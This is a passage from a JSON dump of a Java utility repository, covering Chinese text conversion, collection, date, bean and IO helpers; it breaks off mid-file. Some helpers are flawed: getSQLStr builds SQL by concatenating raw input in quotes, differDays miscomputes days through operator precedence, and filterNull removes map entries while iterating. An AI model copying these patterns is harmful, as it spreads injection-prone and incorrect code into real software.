initT2S() {\n\t\tt2sSetting = new Setting(T2S_PATH, \"utf8\", false);\n\t}\n\n\t/**\n\t * 清理对照表\n\t */\n\tpublic static void clean() {\n\t\ts2tSetting.clear();\n\t\ts2tSetting = null;\n\n\t\tt2sSetting.clear();\n\t\tt2sSetting = null;\n\t}\n\n\t/**\n\t * 将文本中的繁体字转换为简体字<br>\n\t * 若文本中无繁体字，返回原文\n\t * @param text 被转换的文本\n\t * @return 转换后的文本\n\t */\n\tpublic static String toSimplified(String text) {\n\t\tStringBuilder sb = new StringBuilder(text.length());\n\t\tif (t2sSetting == null) {\n\t\t\tinitT2S();\n\t\t}\n\t\tfor (int i = 0; i < text.length(); i++) {\n\t\t\tString ch = String.valueOf(text.charAt(i));\n\t\t\tString ch2 = t2sSetting.get(ch);\n\t\t\tif (ch2 != null) {\n\t\t\t\tsb.append(ch2);\n\t\t\t} else {\n\t\t\t\tsb.append(ch);\n\t\t\t}\n\t\t}\n\t\treturn sb.toString();\n\t}\n\n\t/**\n\t * 将文本中的简体字转换为繁体字<br>\n\t * 若文本中无简体字，则返回原文\n\t * @param text 被转换的文本\n\t * @return 转换后的文本\n\t */\n\tpublic static String toTraditional(String text) {\n\t\tStringBuilder sb = new StringBuilder(text.length());\n\t\tif (s2tSetting == null) {\n\t\t\tinitS2T();\n\t\t}\n\t\tfor (int i = 0; i < text.length(); i++) {\n\t\t\tString ch = String.valueOf(text.charAt(i));\n\t\t\tString ch2 = s2tSetting.get(ch);\n\t\t\tif (ch2 != null) {\n\t\t\t\tsb.append(ch2);\n\t\t\t} else {\n\t\t\t\tsb.append(ch);\n\t\t\t}\n\t\t}\n\t\treturn sb.toString();\n\t}\n\n\t/**\n\t * 全角字符->半角字符转换<br/>\n\t * 只处理全角的空格，全角！到全角～之间的字符，忽略其他\n\t * @param src 原文本\n\t * @return 转换后的文本\n\t */\n\tpublic static String toDBC(String src) {\n\t\tif (src == null)\n\t\t\treturn src;\n\n\t\tchar[] ca = src.toCharArray();\n\t\tStringBuilder buf = new StringBuilder(ca.length);\n\t\tfor (char c : ca) {\n\t\t\tif (c >= SBC_CHAR_START && c <= SBC_CHAR_END) { // 如果位于全角！到全角～区间内\n\t\t\t\tbuf.append((char) (c - CONVERT_STEP));\n\t\t\t} else if (c == SBC_SPACE) { // 如果是全角空格\n\t\t\t\tbuf.append(DBC_SPACE);\n\t\t\t} else { // 不处理全角空格，全角！到全角～区间外的字符\n\t\t\t\tbuf.append(c);\n\t\t\t}\n\t\t}\n\t\treturn buf.toString();\n\t}\n\n\t/**\n\t * 半角字符->全角字符转换<br/>\n\t * 只处理空格，!到˜之间的字符，忽略其他\n\t * @param src 原文本\n\t * @return 转换后的文本\n\t */\n\tpublic static String toSBC(String src) {\n\t\tif (src == null)\n\t\t\treturn src;\n\n\t\tchar[] ca = src.toCharArray();\n\t\tStringBuilder buf = new StringBuilder(ca.length);\n\t\tfor (char c : ca) {\n\t\t\tif (c == DBC_SPACE) { // 如果是半角空格，直接用全角空格替代\n\t\t\t\tbuf.append(SBC_SPACE);\n\t\t\t} else if ((c >= DBC_CHAR_START) && (c <= DBC_CHAR_END)) { // 字符是!到~之间的可见字符\n\t\t\t\tbuf.append((char) (c + CONVERT_STEP));\n\t\t\t} else { // 不对空格以及ascii表中其他可见字符之外的字符做任何处理\n\t\t\t\tbuf.append(c);\n\t\t\t}\n\t\t}\n\t\treturn buf.toString();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/apiext/CollectionUtil.java",
    "content": "package com.jun.plugin.commons.util.apiext;\n\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.apache.commons.beanutils.PropertyUtils;\nimport org.apache.commons.collections.CollectionUtils;\nimport org.apache.commons.collections.Predicate;\nimport org.apache.commons.lang.ArrayUtils;\nimport org.mvel2.MVEL;\n\nimport com.jun.plugin.commons.util.exception.ExceptAll;\nimport com.jun.plugin.commons.util.exception.ParamInfoBean;\nimport com.jun.plugin.commons.util.exception.ProjectException;\n\n@SuppressWarnings(\"rawtypes\")\npublic abstract class CollectionUtil {\n\t/**\n\t * 把List通过分隔符进行分隔\n\t * \n\t * @param fromList\n\t *            要连接的List\n\t * @param joinStr\n\t *            连接的字符串\n\t * @return String\n\t */\n\n\tpublic static String listJoin(List<String> fromList, String joinStr)\n\t\t\tthrows ProjectException {\n\t\tif (fromList == null)\n\t\t\tthrow new ProjectException(ExceptAll.default_Param,\n\t\t\t\t\tnew ParamInfoBean(1, \"要连接的数据不能传空\"), \"zh\");\n\t\tjoinStr = StringUtil.isNull(joinStr) ? \",\" : joinStr;\n\t\tStringBuffer toList = new StringBuffer();\n\t\tIterator iterator = fromList.iterator();\n\t\tif (iterator.hasNext())\n\t\t\ttoList.append((String) iterator.next());\n\t\twhile (iterator.hasNext()) {\n\t\t\tString string = (String) iterator.next();\n\t\t\ttoList.append(joinStr);\n\t\t\ttoList.append(string);\n\t\t}\n\t\treturn toList.toString();\n\t}\n\n\t/**\n\t * 把Array通过分隔符进行分隔\n\t * \n\t * @param fromList\n\t *            要连接的数组\n\t * @param joinStr\n\t *            连接的字符串\n\t */\n\tpublic static String arrayJoin(Object[] fromList, String joinStr)\n\t\t\tthrows ProjectException {\n\t\tif (fromList == null)\n\t\t\tthrow new ProjectException(ExceptAll.default_Param,\n\t\t\t\t\tnew ParamInfoBean(1, \"要连接的数据不能传空\"), \"zh\");\n\t\tjoinStr = StringUtil.isNull(joinStr) ? \",\" : joinStr;\n\t\tStringBuffer toList = new StringBuffer();\n\t\tfor (int i = 0; i < fromList.length; i++) {\n\t\t\tif (i == 0) {\n\t\t\t\ttoList.append(fromList[i]);\n\t\t\t} else {\n\t\t\t\ttoList.append(joinStr + fromList[i]);\n\t\t\t}\n\t\t}\n\t\treturn toList.toString();\n\t}\n\n\tpublic static String[] arrayMerge(String[] a, String[] b) {\n\t\tif (ArrayUtils.isEmpty(a)) {\n\t\t\treturn b;\n\t\t}\n\t\tif (ArrayUtils.isEmpty(b)) {\n\t\t\treturn a;\n\t\t}\n\t\tString[] newArray = new String[a.length + b.length];\n\t\tSystem.arraycopy(a, 0, newArray, 0, a.length);\n\t\tSystem.arraycopy(b, 0, newArray, a.length, b.length);\n\t\treturn newArray;\n\t}\n\n\t/**\n\t * 把list分成sumPerRow一组\n\t * \n\t * @param inputList\n\t *            要分隔的List\n\t * @param sumPerRow\n\t *            第个List的个数\n\t * */\n\tpublic static List<List<?>> splitList(List<?> inputList, int sumPerRow) {\n\t\tif (CollectionUtils.isEmpty(inputList) || sumPerRow == 0) {\n\t\t\treturn null;\n\t\t}\n\t\tList<List<?>> returnList = new ArrayList<List<?>>();\n\t\tList<Object> addList = new ArrayList<Object>();\n\t\tfor (int i = 0; i < inputList.size(); i++) {\n\t\t\tif (i >= sumPerRow && i % sumPerRow == 0) {\n\t\t\t\treturnList.add(addList);\n\t\t\t\taddList = new ArrayList<Object>();\n\t\t\t}\n\t\t\taddList.add(inputList.get(i));\n\t\t}\n\t\treturnList.add(addList);\n\t\treturn returnList;\n\t}\n\n\t/**\n\t * 通过List得到对象的单个列值\n\t * \n\t * @param fromList\n\t *            要操作的数据源\n\t * @param colName\n\t *            要提取的列名\n\t * @return List 提取预定列的List\n\t * */\n\tpublic static List<?> getColFromObj(List<?> fromList, String colName) {\n\t\tList<Object> retList = new ArrayList<Object>();\n\t\tif (CollectionUtils.isEmpty(fromList)) {\n\t\t\treturn retList;\n\t\t}\n\t\tfor (Object object : fromList) {\n\t\t\tObject result = null;\n\t\t\tif (ReflectAsset.isInterface(object.getClass(), \"java.util.Map\")) {\n\t\t\t\tMap tempObjMap = (Map) object;\n\t\t\t\tresult = tempObjMap.get(colName);\n\t\t\t} else {\n\t\t\t\tresult = MVEL.eval(colName, object);\n\t\t\t}\n\t\t\tretList.add(result);\n\t\t}\n\t\treturn retList;\n\t}\n\n\t/**\n\t * @param oriStr\n\t *            要操作的源字符串\n\t * @return Str 返回可用于查询的串\n\t * */\n\tpublic static String getSQLStr(String oriStr) {\n\t\tif (StringUtil.isNull(oriStr)) {\n\t\t\treturn null;\n\t\t}\n\t\treturn (\"'\" + oriStr + \"'\").replaceAll(\",\", \"','\");\n\t}\n\n\t/**\n\t * @param inputCollection\n\t *            要操作的字符\n\t * @param predicate\n\t *            规则\n\t * @return 返回符合条件的集合并把这个集合从inputCollection删除（即inputCollection只剩余不合条件的数据）\n\t * */\n\tpublic static Collection selectFilter(Collection inputCollection,\n\t\t\tPredicate predicate) {\n\t\tCollection retCollection = (Collection) CollectionUtils.find(\n\t\t\t\tinputCollection, predicate);\n\t\tCollectionUtils.filter(inputCollection, predicate);\n\t\treturn retCollection;\n\t}\n\n\t/***\n\t * 过滤空值\n\t * \n\t * @param orimap\n\t */\n\tpublic static void filterNull(Map<String, String> orimap) {\n\t\tif (orimap == null) {\n\t\t\treturn;\n\t\t}\n\t\tfor (String key : orimap.keySet()) {\n\t\t\tif (orimap.get(key) == null) {\n\t\t\t\torimap.remove(key);\n\t\t\t}\n\t\t}\n\t}\n\n\t/*****\n\t * 过滤原始的　List\n\t * \n\t * @param oriList\n\t *            　原对象列表\n\t * @param colName\n\t *            对象列名\n\t * @param include\n\t *            允许的值\n\t * @param exclude\n\t *            排除的值\n\t * @return\n\t */\n\tpublic static List filter(List oriList, final String colName,\n\t\t\tString include, String exclude) {\n\t\tList retAry = new ArrayList();\n\t\tif (CollectionUtils.isEmpty(oriList)) {\n\t\t\treturn retAry;\n\t\t}\n\t\tif (StringUtil.isNotNull(include)) {\n\t\t\tString[] iAry = include.split(\",\");\n\t\t\tfor (int i = 0; i < iAry.length; i++) {\n\t\t\t\tString includeValue = iAry[i];\n\t\t\t\tfor (Object eleObj : oriList) {\n\t\t\t\t\ttry {\n\t\t\t\t\t\tif (ReflectAsset.isInterface(eleObj.getClass(),\n\t\t\t\t\t\t\t\t\"java.util.Map\")) {\n\t\t\t\t\t\t\tMap tempObj = (Map) eleObj;\n\t\t\t\t\t\t\tif (includeValue.equalsIgnoreCase(String\n\t\t\t\t\t\t\t\t\t.valueOf(tempObj.get(colName)))) {\n\t\t\t\t\t\t\t\tretAry.add(eleObj);\n\t\t\t\t\t\t\t\tbreak;// 退出本层循环\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tObject tempObj = PropertyUtils.getProperty(eleObj,\n\t\t\t\t\t\t\t\t\tcolName);\n\t\t\t\t\t\t\tif (includeValue.equalsIgnoreCase(String\n\t\t\t\t\t\t\t\t\t.valueOf(tempObj))) {\n\t\t\t\t\t\t\t\tretAry.add(eleObj);\n\t\t\t\t\t\t\t\tbreak;// 退出本层循环\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t} catch (Exception e) {\n\t\t\t\t\t\t// TODO: handle exception\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif (StringUtil.isNotNull(exclude)) {\n\t\t\tfinal String[] eAry = exclude.split(\",\");\n\t\t\tretAry = CollectionUtils.isEmpty(retAry) ? oriList : retAry;\n\t\t\tCollectionUtils.filter(retAry, new Predicate() {\n\t\t\t\t@Override\n\t\t\t\tpublic boolean evaluate(Object object) {\n\t\t\t\t\ttry {\n\t\t\t\t\t\tif (ReflectAsset.isInterface(object.getClass(),\n\t\t\t\t\t\t\t\t\"java.util.Map\")) {\n\t\t\t\t\t\t\tMap tempObj = (Map) object;\n\t\t\t\t\t\t\tif (ArrayUtils.contains(eAry,\n\t\t\t\t\t\t\t\t\tString.valueOf(tempObj.get(colName)))) {\n\t\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tObject tempObj = PropertyUtils.getProperty(object,\n\t\t\t\t\t\t\t\t\tcolName);\n\t\t\t\t\t\t\tif (ArrayUtils.contains(eAry, tempObj)) {\n\t\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t} catch (Exception e) {\n\t\t\t\t\t\t// TODO: handle exception\n\t\t\t\t\t}\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\n\t\tretAry = CollectionUtils.isEmpty(retAry) ? oriList : retAry;\n\t\treturn retAry;\n\n\t}\n\n\t/***\n\t * int数组转为List,因为Arrays.asList只支持对象的数组转成List\n\t * \n\t * @param oriAry\n\t * @return\n\t */\n\tpublic static List<Integer> asList(int[] oriAry) {\n\t\tList<Integer> ret = new ArrayList<Integer>();\n\t\tif (org.apache.commons.lang3.ArrayUtils.isNotEmpty(oriAry)) {\n\t\t\tfor (int integer : oriAry) {\n\t\t\t\tret.add(integer);\n\t\t\t}\n\t\t}\n\t\treturn ret;\n\t}\n\n\t/***\n\t * 把string数据转成整形List\n\t * \n\t * @param oriAry\n\t * @return\n\t */\n\tpublic static List<Integer> asList(String[] oriAry) {\n\t\tList<Integer> ret = new ArrayList<Integer>();\n\t\tif (org.apache.commons.lang3.ArrayUtils.isNotEmpty(oriAry)) {\n\t\t\tfor (String ele : oriAry) {\n\t\t\t\tret.add(Integer.parseInt(ele));\n\t\t\t}\n\t\t}\n\t\treturn ret;\n\t}\n\n\tpublic static List<String> asList(List<?> oriList) {\n\t\tif (oriList == null) {\n\t\t\treturn null;\n\t\t}\n\t\tList<String> ret = new ArrayList<String>();\n\t\tfor (Object object : oriList) {\n\t\t\tret.add(String.valueOf(object));\n\t\t}\n\t\treturn ret;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/apiext/DateUtil.java",
    "content": "package com.jun.plugin.commons.util.apiext;\n\nimport java.text.DateFormat;\nimport java.text.ParseException;\nimport java.text.SimpleDateFormat;\nimport java.util.Calendar;\nimport java.util.Date;\n\nimport javax.xml.datatype.DatatypeConfigurationException;\nimport javax.xml.datatype.DatatypeFactory;\nimport javax.xml.datatype.XMLGregorianCalendar;\n\nimport org.apache.commons.beanutils.PropertyUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.jun.plugin.commons.util.constant.MathConvertType;\nimport com.jun.plugin.commons.util.constant.SimpleDateFormatCase;\nimport com.jun.plugin.commons.util.constant.StrPattern;\nimport com.jun.plugin.commons.util.exception.ProjectException;\n\n/**\n * @ClassName: DateUtil\n * @Description: 时间相关的常用用法\n * @author Wujun\n * @date 2010-10-29 下午01:37:06\n * \n */\npublic abstract class DateUtil {\n\tpublic static Logger logger = LoggerFactory.getLogger(DateUtil.class);\n\n\tpublic static Date objToDate(Object ojbDate, DateFormat formate) {\n\t\tif (ojbDate == null) {\n\t\t\treturn null;\n\t\t}\n\t\tDate date = null;\n\t\tif (ojbDate instanceof Date) {\n\t\t\tdate = (Date) ojbDate;\n\t\t} else if (ojbDate instanceof java.sql.Date) {\n\t\t\tjava.sql.Date tempObj = (java.sql.Date) ojbDate;\n\t\t\tdate = new java.util.Date(tempObj.getTime());\n\t\t} else if (ojbDate instanceof XMLGregorianCalendar) {\n\t\t\tdate = xmlDateToDate((XMLGregorianCalendar) ojbDate);\n\t\t} else if (ojbDate instanceof String) {\n\t\t\tString strDate = String.valueOf(ojbDate);\n\t\t\ttry {\n\t\t\t\tif (formate != null) {\n\t\t\t\t\tdate = formate.parse(strDate);\n\t\t\t\t} else {\n\t\t\t\t\tif (StrPattern.date.checkStrFormat(strDate)) {\n\t\t\t\t\t\tstrDate = strDate + \" 00:00:00\";\n\t\t\t\t\t}\n\t\t\t\t\tif (StrPattern.date_time.checkStrFormat(String\n\t\t\t\t\t\t\t.valueOf(strDate))\n\t\t\t\t\t\t\t&& !\"0001-01-01 00:00:00\".equals(ojbDate)\n\t\t\t\t\t\t\t&& !\"1970-01-01 00:00:00\".equals(ojbDate)) {\n\t\t\t\t\t\tdate = SimpleDateFormatCase.YYYY_MM_DD_hhmmss\n\t\t\t\t\t\t\t\t.getInstanc().parse(strDate);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} catch (Exception e) {\n\t\t\t\tthrow new IllegalArgumentException(\"String转换为Date类型错误\");\n\t\t\t}\n\t\t}\n\n\t\tif (date == null) {\n\t\t\tthrow new IllegalArgumentException(\"不支持的数据类型，不能转为Date类型\");\n\t\t} else {\n\t\t\treturn date;\n\t\t}\n\t}\n\n\t/****\n\t * 把Bean的某个字段格式化为String\n\t * \n\t * @param bean\n\t *            要格式化的Bean\n\t * @param path\n\t *            　　　要格式化的字段所在路径\n\t * @param format\n\t *            要格式化的格式\n\t * @param isTime\n\t *            是不是时间，默认为日期\n\t * @return\n\t */\n\tpublic static String formatDate(Object bean, String path, String format,\n\t\t\tBoolean isTime) {\n\t\tif (StringUtil.isNull(path)) {\n\t\t\treturn \"\";\n\t\t}\n\t\ttry {\n\t\t\tObject obj = PropertyUtils.getProperty(bean, path);\n\t\t\tDate curDate = DateUtil.objToDate(obj);\n\t\t\tif (curDate == null) {\n\t\t\t\treturn \"\";\n\t\t\t}\n\t\t\treturn formatDate(curDate, format, isTime);\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn \"\";\n\t}\n\n\t/***\n\t * 把Date格式化为String ，时间：yyyy-MM-dd HH:mm:ss 日期：yyyy-MM-dd\n\t * \n\t * @param oriDate\n\t *            要格式化的时间\n\t * @param format\n\t *            要格式化的格式\n\t * @param isTime\n\t *            是不是时间，默认为日期\n\t * @return\n\t */\n\tpublic static String formatDate(Date oriDate, String format, Boolean isTime) {\n\t\tif (oriDate == null) {\n\t\t\treturn \"\";\n\t\t}\n\t\tString formatStr = StringUtil.hasNull(format,\n\t\t\t\t(isTime != null && isTime) ? \"yyyy-MM-dd HH:mm:ss\"\n\t\t\t\t\t\t: \"yyyy-MM-dd\");\n\t\tSimpleDateFormat curFormat = new SimpleDateFormat(formatStr);\n\t\treturn curFormat.format(oriDate);\n\t}\n\n\t/****\n\t * 把对象转换成Date Formate为 yyyy-MM-dd HH:mm:ss\n\t * \n\t * @param xmlDate\n\t * @return\n\t */\n\tpublic static Date objToDate(Object ojbDate) {\n\t\treturn objToDate(ojbDate, null);\n\t}\n\n\t/**\n\t * 今天的0时0分0秒0毫秒\n\t * */\n\tpublic static Date setDayBeginTime(Date date) {\n\t\tCalendar ca = Calendar.getInstance();\n\t\tca.setTime(date);\n\t\tca.set(Calendar.HOUR_OF_DAY, 0);\n\t\tca.set(Calendar.MINUTE, 0);\n\t\tca.set(Calendar.SECOND, 0);\n\t\tca.set(Calendar.MILLISECOND, 0);\n\t\treturn ca.getTime();\n\t}\n\n\t/***\n\t * 指定时间的相隔一定天数的0时0分0秒0毫秒\n\t * \n\t * @param date\n\t * @param num\n\t * @return\n\t */\n\tpublic static Date setDayAfterBeginTime(Date date, int num) {\n\t\tCalendar ca = Calendar.getInstance();\n\t\tca.setTime(date);\n\t\tca.add(Calendar.DATE, num);\n\t\tca.set(Calendar.HOUR_OF_DAY, 0);\n\t\tca.set(Calendar.MINUTE, 0);\n\t\tca.set(Calendar.SECOND, 0);\n\t\tca.set(Calendar.MILLISECOND, 0);\n\t\treturn ca.getTime();\n\t}\n\n\t/****\n\t * 指定时间的相隔一定月份的　0时0分0秒0毫秒\n\t * \n\t * @param date\n\t * @param monthNum\n\t * @return\n\t */\n\tpublic static Date setDayAfterMonthTime(Date date, int monthNum) {\n\t\tCalendar ca = Calendar.getInstance();\n\t\tca.setTime(date);\n\t\tca.add(Calendar.MONTH, monthNum);\n\t\tca.set(Calendar.HOUR_OF_DAY, 0);\n\t\tca.set(Calendar.MINUTE, 0);\n\t\tca.set(Calendar.SECOND, 0);\n\t\tca.set(Calendar.MILLISECOND, 0);\n\t\treturn ca.getTime();\n\t}\n\n\t/**\n\t * 两个时间的相差天数\n\t * */\n\tpublic static int differDays(Date beginData, Date endDate) {\n\t\tlong resL = endDate.getTime() - beginData.getTime();\n\t\tlong dayInt = resL / 1000 * 60 * 60 * 24;\n\t\treturn Integer.parseInt(Long.toString(dayInt));\n\t}\n\n\t/**\n\t * beginData+days是否比endDate大\n\t * \n\t * @param beginData\n\t *            基准时间\n\t * @param days\n\t *            相差天数\n\t * @param endDate\n\t *            比较时间\n\t * @return 0等于 -1小于 1大于\n\t * */\n\tpublic static int compareTo(Date beginData, int days, Date endDate) {\n\t\tCalendar ca = Calendar.getInstance();\n\t\tca.setTime(beginData);\n\t\tca.add(Calendar.DATE, days);\n\t\tCalendar otherCal = Calendar.getInstance();\n\t\totherCal.setTime(endDate);\n\t\treturn ca.compareTo(otherCal);\n\t}\n\n\t/**\n\t * beginData+month是否比endDate大\n\t * \n\t * @param beginData\n\t *            基准时间\n\t * @param month\n\t *            相差月份数\n\t * @param endDate\n\t *            比较时间\n\t * @return 0等于 -1小于 1大于\n\t * */\n\tpublic static int compareMonthTo(Date beginData, int month, Date endDate) {\n\t\tCalendar ca = Calendar.getInstance();\n\t\tca.setTime(beginData);\n\t\tca.add(Calendar.MONTH, month);\n\t\tCalendar otherCal = Calendar.getInstance();\n\t\totherCal.setTime(endDate);\n\t\treturn ca.compareTo(otherCal);\n\t}\n\n\t/**\n\t * 这个月的最后一天开始\n\t * */\n\tpublic static Date getLastDayOfMonth(Date date) {\n\t\tCalendar ca = Calendar.getInstance();\n\t\tca.setTime(date);\n\t\tca.add(Calendar.MONTH, 1);\n\t\tca.set(Calendar.DATE, 1);\n\t\tca.add(Calendar.DATE, -1);\n\t\tca.set(Calendar.HOUR_OF_DAY, 0);\n\t\tca.set(Calendar.MINUTE, 0);\n\t\tca.set(Calendar.SECOND, 0);\n\t\tca.set(Calendar.MILLISECOND, 0);\n\t\treturn ca.getTime();\n\t}\n\n\t/**\n\t * 通过两个ISO时间字符合并为一个时间，取第一个的日期，取第两个的时间\n\t * \n\t * @param dateStr1\n\t *            取天数， 如：2011-09-09T16:00:00Z\n\t * @param dateStr2\n\t *            取时间 如：1970-01-01T07:00:00Z\n\t * @throws ProjectException\n\t * */\n\tpublic static Date getDateByTwoIso(String dateStr1, String dateStr2) {\n\t\ttry {\n\t\t\tint jIndex = dateStr1.indexOf(\"+\");\n\t\t\tdateStr1 = dateStr1.substring(0, jIndex) + \"GMT\"\n\t\t\t\t\t+ dateStr1.substring(jIndex);\n\t\t\tint j2Index = dateStr2.indexOf(\"+\");\n\t\t\tdateStr2 = dateStr2.substring(0, j2Index) + \"GMT\"\n\t\t\t\t\t+ dateStr2.substring(j2Index);\n\n\t\t\tCalendar returnDateTime = Calendar.getInstance();\n\t\t\tDate dateD = SimpleDateFormatCase.TyyyyMMddHHmmss.getInstanc()\n\t\t\t\t\t.parse(dateStr1);\n\t\t\tDate dateT = SimpleDateFormatCase.TyyyyMMddHHmmss.getInstanc()\n\t\t\t\t\t.parse(dateStr2);\n\t\t\tCalendar calDateT = Calendar.getInstance();\n\t\t\treturnDateTime.setTime(dateD);\n\t\t\tcalDateT.setTime(dateT);\n\t\t\treturnDateTime.set(Calendar.HOUR, calDateT.get(Calendar.HOUR));\n\t\t\treturnDateTime.set(Calendar.MINUTE, calDateT.get(Calendar.MINUTE));\n\t\t\treturnDateTime.set(Calendar.SECOND, calDateT.get(Calendar.SECOND));\n\t\t\treturn returnDateTime.getTime();\n\t\t} catch (ParseException e) {\n\t\t\tlogger.error(\"解析时间错误\", e);\n\t\t\treturn null;\n\t\t}\n\t}\n\n\t/**\n\t * 通过两个ISO时间字符合并为一个时间，取第一个的日期，取第两个的时间\n\t * \n\t * @param dateStr1\n\t *            取天数， 如：2011-09-09\n\t * @param dateStr2\n\t *            取时间 如：T16:00:00\n\t * */\n\tpublic static Date getDateByStr(String dateStr1, String dateStr2) {\n\t\tif (StringUtil.isNull(dateStr1) || StringUtil.isNull(dateStr2)) {\n\t\t\treturn null;\n\t\t}\n\t\tString tempDateStr = String.format(\"%s %s\", dateStr1, dateStr2);\n\t\ttry {\n\t\t\tDate dateT = SimpleDateFormatCase.TyyyyMMddHHmmssNoZ.getInstanc()\n\t\t\t\t\t.parse(tempDateStr);\n\t\t\treturn dateT;\n\t\t} catch (ParseException e) {\n\t\t\tlogger.error(\"解析时间错误\", e);\n\t\t\treturn null;\n\t\t}\n\t}\n\n\t/***\n\t * XMLGregorianCalendar 转为Date\n\t * \n\t * @param xmlDate\n\t * @return\n\t */\n\tpublic static Date xmlDateToDate(XMLGregorianCalendar xmlDate) {\n\t\treturn xmlDate.toGregorianCalendar().getTime();\n\t}\n\n\t/***\n\t * Dae　转为 XMLGregorianCalendar\n\t * \n\t * @param date\n\t * @return\n\t */\n\tpublic static XMLGregorianCalendar dateToXmlDate(Date date) {\n\t\tCalendar cal = Calendar.getInstance();\n\t\tcal.setTime(date);\n\t\tDatatypeFactory dtf = null;\n\t\ttry {\n\t\t\tdtf = DatatypeFactory.newInstance();\n\t\t} catch (DatatypeConfigurationException e) {\n\t\t}\n\t\tXMLGregorianCalendar dateType = dtf.newXMLGregorianCalendar();\n\t\tdateType.setYear(cal.get(Calendar.YEAR));\n\t\t// 由于Calendar.MONTH取值范围为0~11,需要加1\n\t\tdateType.setMonth(cal.get(Calendar.MONTH) + 1);\n\t\tdateType.setDay(cal.get(Calendar.DAY_OF_MONTH));\n\t\tdateType.setHour(cal.get(Calendar.HOUR_OF_DAY));\n\t\tdateType.setMinute(cal.get(Calendar.MINUTE));\n\t\tdateType.setSecond(cal.get(Calendar.SECOND));\n\t\treturn dateType;\n\t}\n\n\t/***\n\t * 得到明天的０点时间\n\t * \n\t * @param ojbDate\n\t * @return\n\t */\n\tpublic static Date getTomorrow(Object ojbDate) {\n\t\tDate ret = objToDate(ojbDate);\n\t\tret = setDayAfterBeginTime(ret, 1);\n\t\treturn ret;\n\t}\n\n\t/***\n\t * 得到明天的０点时间\n\t * \n\t * @param ojbDate\n\t * @return\n\t */\n\tpublic static String getTomorrowStr(Object ojbDate) {\n\t\tDate ori = getTomorrow(ojbDate);\n\t\treturn SimpleDateFormatCase.YYYY_MM_DD.getInstanc().format(ori);\n\t}\n\n\t/***\n\t * 把秒数转为分钟数\n\t * \n\t * @param min\n\t *            秒数\n\t * @param conType\n\t *            转换类型，分为trunc(\"取整\"),round(\"四舍五入\"),ceil(\"有值进1\")\n\t * @return 分钟数\n\t */\n\tpublic static int convertMinuteToSecond(int min, MathConvertType conType) {\n\t\tint retValue = 0;\n\t\tswitch (conType) {\n\t\tcase trunc:\n\t\t\tretValue = (int) Math.floor((float) min / 60);\n\t\t\tbreak;\n\t\tcase round:\n\t\t\tretValue = (int) Math.rint((float) min / 60);\n\t\t\tbreak;\n\t\tcase ceil:\n\t\t\tretValue = (int) Math.ceil((float) min / 60);\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tbreak;\n\t\t}\n\t\treturn retValue;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/apiext/DynaBeanUtil.java",
    "content": "package com.jun.plugin.commons.util.apiext;\n\nimport org.apache.commons.beanutils.DynaBean;\nimport org.apache.commons.beanutils.LazyDynaBean;\nimport org.apache.commons.lang.ArrayUtils;\n\npublic abstract class DynaBeanUtil {\n\tpublic static DynaBean proBean(String... params) {\n\t\tDynaBean retbean = new LazyDynaBean();\n\t\tif (ArrayUtils.isEmpty(params)) {\n\t\t\treturn retbean;\n\t\t}\n\t\tint len = params.length / 2 + ((params.length % 2 > 0) ? 1 : 0);\n\t\tfor (int i = 0; i < len; i++) {\n\t\t\tString value = ((2 * i + 1) > params.length) ? \"\"\n\t\t\t\t\t: params[2 * i + 1];\n\t\t\tretbean.set(params[2 * i], value);\n\t\t}\n\t\treturn retbean;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/apiext/IOUtil.java",
    "content": "package com.jun.plugin.commons.util.apiext;\n\nimport java.io.File;\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.net.URL;\nimport java.util.Properties;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.jun.plugin.commons.util.exception.ExceptAll;\nimport com.jun.plugin.commons.util.exception.ProjectException;\n\n/**\n * @ClassName: IOUtil\n * @Description: TODO(这里用一句话描述这个类的作用)\n * @author Wujun\n * @date 2010-11-13 上午11:01:04\n * \n */\npublic abstract class IOUtil {\n\tpublic static Logger logger = LoggerFactory.getLogger(IOUtil.class);\n\n\t/**\n\t * 转换输入流为字符串\n\t * \n\t * @param in\n\t *            输入流\n\t * @return java.lang.String 转换后的字符串\n\t * @throws IOException\n\t */\n\tpublic static String slurp(InputStream in) throws IOException {\n\t\tStringBuffer out = new StringBuffer();\n\t\tbyte[] b = new byte[4096];\n\t\tfor (int n; (n = in.read(b)) != -1;) {\n\t\t\tout.append(new String(b, 0, n));\n\t\t}\n\t\treturn out.toString();\n\t}\n\n\t/**\n\t * 属性文件转为属性\n\t * \n\t * @param filePath\n\t *            文件路径\n\t * @return Properties 属性对象\n\t * @throws ProjectException\n\t */\n\tpublic static Properties fileToProperties(String filePath) {\n\t\tProperties returnPro = new Properties();\n\t\ttry {\n\t\t\tInputStream inputFile = IOUtil.class.getResourceAsStream(filePath);\n\t\t\treturnPro.load(inputFile);\n\t\t} catch (Exception e) {\n\t\t\tlogger.error(\"读属性文件出错\", e);\n\t\t}\n\t\treturn returnPro;\n\t}\n\n\t/**\n\t * 合并目录与文件名\n\t * \n\t * @param folderPath\n\t *            目录路径\n\t * @param fileName\n\t *            